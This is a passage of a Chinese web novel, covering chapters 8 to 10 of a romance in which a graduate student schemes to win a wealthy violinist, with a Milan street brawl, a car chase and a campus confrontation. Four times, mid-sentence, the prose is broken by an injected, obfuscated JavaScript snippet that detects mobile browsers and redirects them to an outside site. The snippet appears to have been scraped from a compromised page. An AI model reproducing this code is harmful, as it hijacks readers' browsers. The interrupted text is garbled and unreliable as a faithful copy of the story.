他忍不住又重复感叹:“爱情真是使人盲目啊!” “什么?”斐然有些不解。 “我说你们一个个都被爱情蒙蔽了双眼。” 斐然竟否认了这个说法,“爱情?首先,我并不爱崔词意,甚至谈不上喜欢。” 李田田看看墙上照片再看看他,直言不讳地问:“你在搞抽象吗?” 斐然不觉得自己存在什么逻辑谬误,“爱情是有文学和艺术以来的最大骗局,是不事生产无所事事才会产生的空想美谈,都说有,但有谁见过?尤其在互联网时代,穷人富人、美的丑的、好人坏人一应俱全,有对比就有伤害,谁又真正看得上谁?谁第一眼看的是爱而不是条件?谁愿意付出而不是被付出?不过是天性中的欲望和孤独让我们不得不付出代价来换取陪伴和合作,我只是足够诚实。” 李田田:“那我向诚实的你发问,如果以后崔词意问你爱不爱他,你会怎么向他描述这一堆理论?你是诚实还是撒谎?” 斐然说:“他不是会问这种话的人,而且如果有一样东西看起来是爱,表现得像爱,描述出来也像爱,那谁能否认这是爱呢?” 李田田心想,一个比一个抽象,我瞎操心啥呀,还不如多赚点米。 如雷的掌声响起,斐然在最后一排座位上惊醒,这是他第三次来看崔词意所在乐团的表演,第一次是在第一排,脑壳疼,第二次是在中间位置,脑壳疼,这次选了最后一排,脑壳不疼了,但睡得很香,他对音乐的鉴赏力仅限于和崔词意有链接的时候,在台下当他的观众看来不行。 崔词意拉琴的时候一般没什么表情,很专注,有谱但是不怎么看谱,跟他在和明星嘉宾单独合作时不同,在乐团里他不会让自己太显眼,像融入大海的一尾鱼,休息时也不像在外面玩那么唯我独尊,不仅坐姿端正,整个人也很礼貌友好,老师和同学在开玩笑他会笑着说上几句漂亮话。 散场了,乐团的各位乐器手开始收拾东西,崔词意坐在原地不动,等其他人都搬走凳子,身边的位置空出来,才慢吞吞地站起来,收拾东西,在把琴放进琴盒之前,他修长的手指在琴沿上轻轻地摸了一下,极温柔的。 他对人可没有这么温柔,斐然心想,如果有,那会是什么感觉呢? 一定很奇妙。 看了一眼手机上的日历,崔词意这周有一场在米兰的演出,早在一个月前就已经公布行程,为了有效利用时间,斐然也早早联系了米兰那边平时经探讨技术的一个网友——是通过导师组建的群聊认识的,他们公司一直有请斐然和他导师的团队合作研发新项目的意图,斐然就让他们把会面商谈时间定在了崔词意演出的第二天,这样所有的出国事宜都可以让导师助理进行代办,然后前一天抵达酒店放下行李就可以去听崔的表演了,公司那边也请好了假,领导有工作任务随时可以远程电联。 作为出了名的工贼和学贼,斐然喜欢同时展开好几项工作,堪称一手画圆一手画方,并且完成得一丝不苟,在于他一天睡五个小时和不需要娱乐活动的计划表以及惊人的条理性,这样的他也许在同事和同学眼中风评不好,但在导师和领导那里很好说话,即使是在研究生阶段去大公司实习也为自己争取到了最大限度的自由活动时间。 下午3点,米兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154685|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在正下着小雨,能见度较低,空气也稍微阴冷,斐然穿得黑不溜秋的,撑着伞提前站在音乐厅门口蹲人,其实也不止他在蹲崔词意,自从意外在网上小火了一把之后,有不少闲的没事干的“粉丝”也跟斐然一样跟着他乐团的演出表蹲点,但都不幸在10米开外被崔词意的便衣保镖拦下,斐然就不同了,他伪装在行人和观众里,从未显露丝毫异样,一副高级知识分子的气质,不像鬼鬼祟祟的人。 但他就是。 崔词意叼着根烟,没撑伞,穿着黑色西装,上面点缀着星星点点的元素,仔细一看,竟然是碎钻,在米兰,穿着一身闪瞎人眼的钻,迈着长腿就摇摇晃晃地走出来淋雨。 他还是那么爱装。 斐然假装不经意地路过他周围,跟着他走到了僻静处,他这一身行头别的不说,看起来特别好偷,斐然眨眼的功夫,就有一个人把手伸向了崔词意的口袋,而他好像浑然不觉,还在抽烟。 斐然发出“诶”的一声,上前阻止,小偷见势不妙,竟来了个回首掏,转头把斐然的手机抢走,一下子就钻进了附近的小道。 崔词意在他的惊呼下回头,刚好看到这一幕,拔腿就跟着小偷身后进了巷子。 斐然也紧跟着进去,还回头看了崔词意那帮还在拦着粉丝的便衣保镖们一眼,自从崔词意火了,他的安保压力也是越来越大了。 不知拐了多少条巷子,斐然气喘吁吁地跟气定神闲的崔词意成功汇合,崔词意把手机高高抛起,精准地抛给了斐然,可以说是喂球也不为过,但斐然还是接得手忙脚乱,何况他气还没喘匀。 好不容易缓过气来,斐然开口道:“谢……” 崔词意嘘了他一声,把他的谢字打断,与此同时,斐然听到一群人的脚步声和交谈声,话里提到了崔这个字,有人在刻意地找他们,而且是地毯式搜寻。 斐然神色凝重起来,四处观察,思考接下来如何应对。 “知道打哪里最疼吗?” 身后的崔词意突然开口,声音压得很低,不知为何听得人心里一酥,斐然的喉结滚了滚,言简意赅地回应:“下/体。” “……” 崔词意发出一个意味不明的气音作为回应,不知对此是赞同还是否定,斐然便有些好奇他的表情,回头就看到崔词意正在往手上缠绷带,很仔细。 这是一双拉琴的手,指骨修长匀称,保养得非常好,一点倒刺都没有,洁白的绷带将每一根手指层层包了起来,也不显臃肿,反而多了几分造型上的帅气。 力的作用是相互的,打架肯定会影响他今晚的表演,绷带顶多起到不脏手的作用。 斐然决定是该给他一个提议,“你的保镖就在附近,跑或者叫是最优的选择,打架是最不明智的决定。” 崔词意轻笑,“我不要最优选择,要最好玩的。” 又来了,这熊孩子,斐然叹了口气。 崔词意把目光转向斐然:“怕吗?害怕的话就假装路过,然后目不斜视地离开就可以了。” 斐然说:“听上去很逊,我们还是谈谈那个好玩的计划吧” 崔词意勾起嘴角,“好。” 8. 《Libertango》 “见鬼,刚刚还看到他呢。” “分头找!” 阴雨蒙蒙的小巷子里,虎背熊腰的两个外国男人烦躁地抹了把脸上的雨水,“那混蛋到底去哪了?” 他的身后,一个身影神不知鬼不觉地靠了上来。 “你好。” 这是一声愉快的打招呼,紧接着是一连串相当有节奏的拳头碰撞脸部的声音,然后才到痛呼和闷哼交响。 在此过程中,斐然的作用主要是放哨,抱着手臂在分叉道上站岗。 其实他的放哨任务完成得不是非常好,他的大半注意力都放在了崔词意身上,但这也是他有意而为之,毕竟有些事情,有混乱才有突破口。 这些人明显不是国外街头人狠话不多的□□混混,而是那天晚上连锁反应引发的富少斗法,肯定不会带枪也不会闹得太大,所以崔词意随意得像在游乐场玩,斐然也没有对放哨这件事很慌张。 所以他只是倚在墙壁上,敛着眉看着崔词意,珍惜这得来不易的独处时间。 在阴雨天看崔词意,有一种很特别的感觉,雾蒙蒙的,雨水润湿了他脸颊和身形,让每一处锋利的线条都影影绰绰,像水墨画,即使是偷袭,他也没有一丝鬼祟,格挡、出招、闪避都有条不紊,他不管做什么都带着点胜券在握。 有点想知道他慌张狼狈的时候会是什么样子。 接连倒下几个人之后,那些寻找他们的人集结在了一起,把他们俩堵在了死角。 好吧,现在该是问责放哨岗位有关负责人的时刻了吧,斐然已经做好了交锋的准备。 但崔词意只是看了他一眼,笑问:“现在还有什么最优选择吗?” 斐然答:“谈判吧,保持和颜悦色拖到你的保镖来。” 还不等崔词意回答,领头的就已经逼近了他们,“好小子,要找你可真辛苦。” 说着,那领头的男人伸手过来,表情轻佻地想托起崔词意的下巴,还未碰到,斐然就用力拍开他的手,把崔词意护在身后,狠狠推了他一把。 斐然这一举动也出乎了自己的意料,可那一瞬间他只是在想,这种鼠辈让崔词意保持和颜悦色还是太为难他了。 男人猝不及防,被推了个踉跄,F word 脱口而出,扬起手臂就要还手,崔词意眉头一挑,反手拧住他的手臂,逼得他反身面对,再往人堆里一砸,砸出了一个突破口。 动作间,崔词意还表情意味不明地看了斐然一眼,“说好的谈判呢?” 斐然:“……” 斐然还没说话,就被崔词意猛地一推,推出了人群的包围圈,朗声道:“往左跑,你会看到一辆全世界最酷的车!” 一切都发生得很快,被推出人群的斐然踉跄几步,发现自己手上被他塞了车钥匙,余光瞄到崔词意长臂抓住墙壁的边沿,一个漂亮的翻墙就已脱离战场,这才往左边跑了过去。 他们的目标不是斐然,所以斐然几乎畅通无阻地到了街上,在一栋栋古旧灰暗的建筑设施中停了一辆闪瞎眼的黑灰色敞篷跑车,外形张牙舞爪,比起一辆车更像是一款高达。 斐然坐上这辆“全世界最酷的车”,正谨慎生疏地摸索,转眼崔词意就跳进了车里,把车里的抽屉“刷”得一下拉开,赫然露出一把银质手枪,他装上弹夹拉开保险,咔嚓一声子弹上膛。 动作快得等斐然反应过来是真的被他吓了一大跳,立马伸手捉住他的手腕,连声音都有些拔高,“别!” 崔词意看他一眼,把将要举起的手枪放回抽屉,露齿一笑,“吓吓你。” 斐然深呼吸一口气,忍不住在崔词意的肩膀上拍了一下,不重,只是有些埋怨,“叫你淘气。” 拍完他又觉得自己不管是语气还是动作都有些亲昵越界,不妥,但崔词意只是歪头看了一眼被他拍过的地方,没说什么,自顾自掏出一根烟来,叼在嘴巴上,双手撑着敞篷的车顶直起身,对路过的意大利小哥用意大利语“借火”。 “Hai da accendere?” “Certo。” “借火”之所以打双引号,因为他完全没有接过打火机的意思,只是稍稍仰着脸,意大利小哥友善地微笑着,把打火机递到他面前,啪嚓一下打开,帮他点火。 这位少爷享受路人的服务也心安理得,慵懒地说了声“Grazie mille”就坐回了车里。 斐然心想,崔词意甚至没问车里的另一个人有没有火,当然他确实没有,该死的。 气氛突然变得安静起来,飘落的细雨将他们的头发和衣物打湿,被衣物束缚的身体突然变得有些紧绷,烟味以及某人身上独有的香气总是在鼻尖轻轻一晃,又被车子敞开的空间散去,雨天散发的草木腥气又重新夺回主场。 斐然白皙的手指在方向盘上轻轻点着,以此来缓解那不知名的躁动。 余光瞥到崔词意仰头靠在副驾驶上,随意地松了松领带,好像不打算说话,只是眯着眼睛缓缓吐出一口烟雾,湿发散乱在他光洁的额头,带着些许不讲道理的性感。 再回望进那个事故多发地的小巷子,那群人已经被崔词意的保镖赶来“会会”了,突然间头顶一阵凉快,将被淋湿的头发吹乱,像是旋风一样,引擎声和螺旋桨的声音轰鸣着。 一架直升机盘旋在了他们的头顶上方,与此同时崔词意也接到了陈衡的电话,声音在车里响起,“我说少爷,你是想把你彪哥急死是不是?” 一会儿不见的功夫竟出动了一架直升机,斐然抬起头,怔怔地看着头上的螺旋桨,紧接着看见了直升机上的陈衡,正一边打电话一边朝崔词意招手。 陈衡:“玩够了就上来坐坐吧,把这玩意开过来可花了我不少功夫。” 此话一出,崔词意还没作答,斐然就一脚踩下油门,跑车在他的操纵下风驰电掣地冲了出去,一溜烟没了影,空中盘旋的直升机和陈衡都愣在了原地。 崔词意还拿着手机,电话还没挂,转过头盯着斐然看,眼睛一眨也不眨,斐然不看他,只专心看路,手打着方向盘,拐了一个又一个的弯,但实际上,他并不知道也没有计划接下来的目的地,只是瞎兜兜。 不知过了多久,也许只是过去了一分钟不到,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154686|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过在斐然看来很漫长的时间过后,崔词意轻描淡写地对电话里的陈衡说了一句:“没玩够。”便挂了电话。 斐然缓缓勾起嘴角。 在米兰兜了一圈风,斐然把崔词意送回音乐厅门口,再次在台下作为观众看到崔词意时,他已经换了一身裁剪不同的西装,仔细看也还是有钻石的装饰在上面闪闪发亮。 票他本来买的是最后一排,临别前,崔词意送了斐然一张前排的票,也没问斐然要不要,直接插进他上衣的口袋里,又晃晃悠悠地走了,斐然就这样坐到了前排最佳观赏区。 开场的曲子先是手风琴的演奏,然后是钢琴,斐然只看着静候的崔词意,但音乐还是丝滑地听进了耳朵里,作为一个业余的古典音乐不爱好者,第一次认真听没有歌词的乐曲,竟然也听出了一点门道。 像是在异国的街头跳一支双人舞吗?在众人的眼光下,在旋转与速度的张力中,先是试探、交锋、然后是小提琴悠悠的琴音,带上了一些隐秘,某种像是被细雨轻轻裹住的欲望藏在其中。 这场演出崔词意也明显情绪很高涨,在拉琴的过程中,狭长眼睛上方的浓眉一直高高扬着,嘴角略微勾起。 斐然翻开宣传册上的曲目清单,这首是皮亚佐拉的《Libertango》,再抬眼时,台上崔词意的目光竟倏然间锁定了他。 斐然的心猛地漏跳了一大拍,那一瞬间,只觉得色授魂与。 听完表演之后的第二天晚上12点。 斐然洗完澡从浴室出来,正要吹头发,放在床上的手机震动了一下,这时候发信息的很可能是导师也很可能是领导,可以先放一放,因为能解决问题的人总是最后出场。 但不知为何,斐然感觉,很可能是他,于是马上放下吹风机,坐到床上,点开微信。 崔词意:图片 崔词意:图片 崔词意:图片 那边的崔词意连发三张靓照,正面侧面背影三件套,可惜不是他本人,又是头像那只小黑守宫,斐然带着失望点开,忍住自己内心的尖叫抓挠,观察着这小东西的形态特点,然后硬着头皮开始回复某人爱听的。 斐然:好可爱。 斐然:它叫什么名字? 崔词意:崔词豆 跟你和你姐一个辈分吗?好好好,斐然忍俊不禁,回了一句:“好名字”。 崔词意:我取的 斐然:猜到是你了,这么可爱的名字 斐然:对了,突然想起你的外套我还没还呢,找个时间见一面吧 崔词意:等你回国 崔词意发完最后一句话,在有人走过来之前熄灭了手机屏幕,将手中快要燃尽的烟咬到嘴里,佯装只是在此地抽烟。 陈衡也叼着烟,拎着一个鼻青脸肿的男人走过来,他刚刚审出背后主使,冲崔词意笑道:“今天在巷子里下手这么轻?在大学霸面前有偶像包袱了?” 崔词意没理会他的调侃,弹了弹指上的烟灰,走向前,一脚踩在领头男人被弄折的手臂上,慢条斯理地说,“告诉那个叫邱为的,这事儿我们没完。” 9. 我还得谢你呢 斐然今天要给崔词意还外套。 出门前,他仔细地修理了原本就已经很整齐的指甲和眉毛,穿上一套新买的,休闲款的白衬衫+长西裤,跟以前的每一套衣服相比,从颜色到裁剪几乎没有什么不同——审美偏好就是如此,再穿上一件新买的款长黑色风衣,穿戴整齐后对着镜子端详自己良久。 高挑、漂亮,万里挑一的长相,足以配得上当崔词意的丈夫。 学历和智商虽然不值一提,但也足以做崔词意孩子的父亲。 最近他都是学校、公司两点一线,没有再去围追堵截崔词意了,因为事情已经发展到需要一击即中的地步,再偶遇就过分了,而且有些人是该反应过来到底是谁在这一系列事件中推波助澜了。 斐然也没有很担心,法治社会,你能在学校和公司绑架我那算我输,而且早在第二次见面的时候,他就发现,崔词意的善后工作总是做得很到位,他跟别人斗法的时候,不太喜欢牵连别人。 这次也不例外,最近,他在上班上学的必经之路途中看到几个熟面孔,不远不近地跟在他附近,都是崔词意的保镖,保镖的事,崔词意没提,只是在微信上提醒他这段时间不要单独走小道和夜路。 说完还附赠一张崔词豆的微笑“美图”——真是谢谢他了。 不过斐然从不畏惧站在风暴中心,也不怕走钢丝,那群纨绔盯上他,反而给他提供了一个利益最大化的机会。 另一边,邱为眯着眼睛挂掉电话,手下传来消息,崔词意要跟他杠上了,说实话,他还真不怕,以前他在老家也是个横的,既然那小子都宣战了,就别怪他继续出招,正好让圈里认识认识他,知道他邱为是谁。 从哪里开始呢?有一个关键人物,似乎被他们遗忘掉了。 邱为跟卢月说起斐然这个人,卢月还很不解,“关斐然什么事?他就是个穷学生。” 邱为跟旁边的任天对视一眼,都露出了一副极度无语的表情,真想把他倒过来看看脑子里到底几桶水,要不是初到此地需要个引路的,真不想理这个傻吊。 任天脾气还好点,忍下脾气跟他说:“你从头想想呢,你怎么跟崔词意对上的?那天晚上他当众被崔词意调戏也不抗拒,中药了还跟崔词意走,在米兰也有他的份……” 说到这个,卢月就生气,“那崔词意强揽着他,他有什么办法挣脱,再说,是个人都能看出崔词意就是个小学生做派,他是没长勾八还是被他妈养废了都不好说,啥也不知道就学别人抢男人,抢去干嘛他知道吗?” 这是重点吗?任天捏捏眉心,突然有点丧失说话的欲望了。 邱为对卢月真是恨铁不成钢,大声说:“你傻叉啊,管他无不无辜呢?重点是他越倒霉,你越容易上手,崔词意多少都对这小子有点特殊没错吧,你上手了,崔词意肯定不舒服,面子不也就扳回来了?不然你还想要别人看你笑话多久?” 卢月一拍大腿,“对哦,这下就该轮到崔词意丢脸了!” 任天舒一口气,拉长声音说:“对嘛。” 但是卢月想想,又打哈哈说:“你们去得了,成功再告诉我,我嘛,我最近有点忙。” 是忙还是怂,邱为也懒得拆穿了。 斐然把崔词意约在了校内的咖啡馆,首先得先去把人从校门口领进来,不要问为什么不直接在校门口还,问就是要花一顿咖啡的时间表达感谢,而且走进来的那一段路,足够让所有人看清楚,站在他身边的人是谁了。 崔词意今天穿的是黑衬衫,上面点缀着一颗颗白色小星星,两边袖子挽到手臂上,领口依旧是不好好扣着,护身符挂坠处在了一个令人遐想的位置。 他也挺爱穿衬衫的,但跟斐然不同,他不喜欢单调,总是有各种小元素叠加或者印花等,并不花哨,反而很有设计感,就算是用于表演的西装他也要加点暗纹或者亮晶晶的东西做装饰。 他就算老实站着也没个正形,一见到斐然,他的俊脸上就露出一抹浅笑。 也许是太阳太大,斐然感觉脸上有些滚烫,走过去拉着崔词意跟保安打了声招呼,大叔明显认识崔词意,呵呵笑道:“大明星来了。” 崔词意也含笑点头。 今天他为什么这么爱笑——斐然也不知道。 10月份的天气微凉,微风卷起地上青黄交接的落叶,他跟崔词意一前一后地走在校园里的银杏树下,距离不远不近,斐然有心想说些什么,却只听见自己如雷的心跳声。 他沉默时,崔词意也沉默。 可他能感觉到,身后的目光始终落在他的身上。 斐然有些头重脚轻的感觉,紧张吗也不是,很奇妙,在他眼里崔词意就是一个淘气的孩子,大部分时候他能轻松应对他,小部分时候,例如现在,不能。 这段路程跟想象中不太一样,他的设想本来是在众人艳羡的眼光中,不动声色地装个大的——看看我拿下了谁。 可直到坐到咖啡馆里,他才回过魂。 崔词意还用手在他眼前晃了晃。 “生病了?” 斐然恢复理智,“没有,想到一些事情,你想喝什么口味的?” 崔词意随手点了一份店里的招牌,要加奶加糖加冰块,斐然点的是纯纯黑咖啡,热的,像雾气中的黑板。 端上来时,崔词意还很好奇地低头在那杯黑板上的雾气嗅了嗅。 斐然失笑,“给你尝一口。” 崔词意摇头拒绝。 “那天是谁找你的麻烦?”斐然虽然知道,但不妨碍他开启话题。 崔词意低头搅着咖啡里的冰块,一边将拉花破坏性地搅浑,一边扯出一个顽劣的笑容,答道:“三头猪。” 辱猪了,斐然心里想,嘴上却说:“是不是因为那天我的事?抱歉,如果连累到你,我可以去跟他们解释……” 崔词意奇怪地反问:“解释什么?” 解释我只想跟你上床,你这个明知故问的坏东西。 斐然看着他,顿了一下,才开口:“解释这件事本就与你无关,你只是帮了我……” 没说完,崔词意就没好气地说:“得了,别给我添乱,我玩得正高兴呢。” 斐然:“我只是有些担心你。” 崔词意继续用勺子搅拌咖啡,“放心。” 斐然注意到他一口没动,第一次请客,口味不同是很正常的,尤其是咖啡这种不同价格就不同品质的东西,这一点斐然作为体面的成年人大可忽视,不然,这其中凸显的贫富差距可能会出现场面上的难堪,但如果开口询问,崔词意会做出什么回应呢,应该会很有趣。 “不合你口味?” 崔词意闻言愣了愣,没说什么,只是停下搅拌,一口气喝了下去,然后托腮沉默,一副像是脑海中陷入了什么远古呼唤的沉思状。 这是什么鬼表情,斐然低头不声不响地笑。 …… 好吧,该说到正题了,斐然拿出折叠得整整齐齐的外套,“总之,我该给你一个正式的感谢,谢谢你的外套,谢谢你帮我。” 崔词意好不容易从远古呼唤中回过神,随手接过外套披在身上,他懒得提个袋子走,鼻尖嗅到外套上有斐然同款洗衣液的清香。 对面的斐然看着他,漂亮的眼睛含着笑意,没再继续说话,崔词意别开视线,轻咳一声,“不用谢,那我走了。” 斐然点头,“嗯,再见。” 今天晚上再见。 晚11点,斐然独自走在从“夜色”回学校的路上,这趟出门,不是什么重要的事,只不过是去看看在那里兼职的李田田,跟他说,他老家又寄来东西了,是包的粽子,今天晚上不吃可能会坏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154687|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李田田摸不着头脑,在微信上说一声不就成了。 斐然笑而不语。 然后他就从“夜色”里出来,在街上的人行道走了几步。 有脚步声在靠近,随后是难闻的酒精和烟味,几个人高马大的男人围了过来。 “斐学长,难得见你出来玩一趟呢?” 邱为一边给自己点根烟,一边施施然地走近他。 “找我有事?”斐然不动声色地问。 “没什么大事,只是想请你喝一杯,不知道你肯不肯赏脸?” 斐然看看周围的人,“这好像不是请的态度吧?” 邱为嗤笑着喷出一口烟,“我可不是卢月或者崔词意那种毛头小子,想踩着别人飞上枝头,也得做好被报复的准备吧?” 斐然看着他,当然矢口否认,“我不知道你在说什么。” 邱为也看着他,恶意地说:“多漂亮的一张脸,要是被揍破皮了可不好看哦,乖乖跟我进去,还能少受点折磨。” 他想捉住斐然的手臂,却被另一个男人擒住了胳膊,浑厚的男声响起,“邱少爷,我们家少爷也想请你喝杯酒,你看如何?” 随着他的话音落下,空气中传来轮胎摩擦地面以及破空而来的引擎声,一辆豪车打着远光直直地冲他们撞了过来。 邱为带来的人被车冲撞地四散避让,听取草声一片。 而邱为本人已经被崔词意的保镖死死按在了原地,惊慌马乱和吵吵嚷嚷中,斐然勾起嘴角,低声对他面前的邱为说,“我还得谢你呢。” 我跟崔词意结婚你可以坐主桌,如果那时候你还在本市的话。 邱为被他激得怒火中烧,恶狠狠地看着他,他自是想不到斐然如此有恃无恐,哪怕诡计败露也敢拿自身做饵,一个无权无势的穷学生,竟也敢把他当做登天的梯子? 豪车撞完人,倒了个退,稳稳地停在斐然面前,先是一条长腿跨出来,再接着,是崔词意那张英俊不凡的脸,他叼着烟,看了一眼斐然,斐然向他摇头表示没事。 崔词意下车站定,转头居高临下地上下打量邱为,什么也没说,但那副轻蔑的表情却意味明显——你是什么东西敢跟我作对? 斐然在他看不到的地方悄悄笑了笑,表情真丰富。 邱为不想遂斐然的意,冷笑说:“崔词意,你多大了,还在玩这种英雄救美的把戏?被人耍了都不知道,真够蠢的。” 崔词意懒洋洋地插着兜,抬高长腿,鞋尖踩到了邱为的肩膀上,极具侮辱意味地,俯身问邱为:“那你说说,聪明的你是怎么落到这个地步的?” 邱为顶着肩膀上的重量,脸色几乎涨成了猪肝色,大声说:“我也蠢,行了吧!放开我,你知道我叔叔是谁吗?” 崔词意做出洗耳恭听的样子,好奇地问:“谁?” “马成均!” 斐然听着有点耳熟,好像是来过学校做客的某某官,官不大不小,不太记得了。 崔词意露出一个意味不明的笑容,转头对已经掏出手机的陈衡说,“把‘马叔叔’叫来。” 陈衡也扯出一抹笑意,开始他最喜欢的叫家长环节。 等待的过程中,崔词意似乎想起了什么,冲斐然抬了抬下巴,“你先回学校,你们不是有门禁吗?” 斐然“嗯”了一声,心想,不知道你什么时候才能学会送我回家。 不过他也明白,他在,崔词意怕是不好发挥,于是转身离开了崔词意的视线。 不一会儿,一个中年男人来了,冲崔词意赔笑了几声,崔词意当着邱为的面,拍了拍“马叔叔”的大脸盘子,施恩一般说:“子不教不成器,带回去吧。” 男人连连称是。 不远处的斐然看在眼里,只觉得崔词意装模作样的,像个小大人一样。 真可爱。 10. 邪神克苏鲁 人们通常所说的爱情——或者说由多巴胺以及性/欲组成的某种物质,是怎么产生的,斐然不知道,但他很好学。 为了研究这一空白领域,他把网上广受好评的各类恋爱小说、知网上的理论研究、他摸索来的关于崔词意的各种信息,以及他们之间曾发生过的事整合到一起,形成了一个大数据模型。 这个专门帮他出谋划策提供“爱的灵感”的模型,就放在电脑的桌面,是一只壁虎的图标。 模型输入的逻辑是:像其他所有感情一样,爱情通过建立事件产生情绪,然后在不断建立的过程中情绪被复杂加工,直到形成感情。 所以只要输入事件所对应的情绪,再进行整合,就可以生成无数套“爱情”。 不过要注意,要剔除掉那些爱情小说为了夺人眼球所进行的艺术加工,这会带来逻辑上的失真与偏离,爱你就要杀你虐待你的猎奇向肯定不能计入计算结果。 通过模型上亿次的分析比较,斐然由此得出结论:爱的产生源自于某种英雄主义——起码对于崔词意来说,但又不等于,在游艇上对服务员小刘的解围与在卢月生日派对上对斐然的解围就可以对比说明。 这当中的变量是,小刘只是一个无名小卒,而斐然是被争抢的、瞩目的一类……怎么说呢,战利品? 不管是什么,他现在确定,崔词意对他有意思,那要怎么维持和加深呢?事情似乎到了最关键的一步,是不是应该换个模型了? 那几个被他用来刷崔词意好感度的工具人现在已经都失去了作用,最嚣张的邱为被他叔叔发配去了国外,卢月和任天也彻底老实了,在夜店见到崔词意不是灰溜溜地避开就是上去帮崔词意点烟,斐然跟他们也自然没有了关联,哪怕知道斐然真搭上了崔词意,也只在背后骂两句捞男。 斐然本来正坐在宿舍里咬着面包思考着模型逻辑,手机震动,崔词意发来消息,斐然甚至没看手机就知道是他,他本来不是那种回复别人消息很及时的人,但对这家伙的信息好像有心电感应似的。 崔词意又在微信上给了他一张演出的电子票。 在宿舍里独自坐而论道一无所获,一对上崔词意本人,他就突然无师自通了——参与一切他所喜爱的事情当中,就这样,很简单。 斐然开始场场不落地去看崔词意的演出,代价是所有学业任务都挤压到一起和越来越重的黑眼圈,对他来说不算什么,他一向喜欢这种通过折磨自己来产生巨大收获的感觉。 如果真的有推脱不了的事不能去,他会提前跟崔词意说一声,崔词意总会回复一张崔词豆看上去孤独冷清(也有可能是赌气,不确定)的小小背影给他。 谁说艺术生文化成绩不好,以物喻人给他玩明白了。 每次演出结束,他都会在台下等崔词意,等崔词意卸妆后一起到街上走走,次数一多,他身边那些同学就会用了然或者揶揄的目光打量他们,这种时候崔词意会装作很高冷,一副懒得搭理他们的样子,实际上大家都看得出他心情不错。 呈阳音乐厅附近热闹的十字路口或者学校周边四通八达的小巷子都是他们经常出没的地方,漫无目的地并肩前行,从街头走到巷尾,在晚风习习中,看天上的星,路边的树和身旁的他。 没有娱乐场所那些闪烁的灯光和吵闹,也没有香烟和酒精之后,他看起来特别容易接近。 斐然觉得他表演几个小时下来会饿,经常会给他买点吃的,一些甜点或者饮品,今天是一块水果蛋糕。 崔词意对他带来的东西,一般会照单全吃,但神奇的是,他至今不知道崔词意到底爱吃什么,不管是整天排长队的网红爆款,还是李田田打探来的富二代们常去的私厨小店,崔词意吃下后都是一副遇到邪神克苏鲁的表情,好像吃到了什么不可名状之物。 最气人的是,他还不喜欢发表意见,问他饿不饿,还行,问他想吃什么,随便,问他好不好吃,他的回答是沉默。 斐然跟他相处久了,经常需要强忍住打他屁股的冲动——还不是时候。 今天也是,他们就坐在街边的长椅上,崔词意吃完蛋糕,在沉默。 斐然表情不忿地高高扬起手,却只是掐了掐他的脸颊肉,然后手掌下滑,像是不经意地揽住了他的肩。 崔词意被他掐醒,疑惑地“嗯?”了一声。 嗯什么嗯,斐然在心里叹一口气,跟他说起他今晚的表演。 “今天晚上第一首是结合了波西米亚风吗?感觉……” 演出虽然听得多,但斐然还是没有太多的音乐鉴赏能力,天赋使然,他对乐曲的品味仅限于情感上的共鸣,但现在是暧昧期,bgm可以是挑逗也可以是激情,但绝对不是伟大。 所以他现在很难欣赏得动什么G大调e小调之类的东西,几个小时下来真是一场酣畅淋漓的睡眠,打盹还得注意不能让崔词意发现,不然他下台之后会来势汹汹地先拿手里的外套抽斐然一下子。 在听歌这件事情上,学霸斐然又无师自通了学渣三件套,上课睡觉,下课打闹,作业靠抄,他会根据表演清单提前背稿,抄一些乐评家的理论,他的记忆力很好,背这些没费多大功夫,当然,他绝对尊重原创,但这实在属于无奈之举,哄男朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154688|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开心也不涉及版权归属的问题。 在他无感情背诵出“辉煌、澎湃”等关键词时,崔词意被他揽着的缘故,脸颊靠得很近,剑眉微挑,一直看着他,眼睛还含着笑。 斐然被他这样看着,突然觉得有些露怯,不太好意思地说:“笑什么?你是不是在心里偷偷笑我是个门外汉啊?” 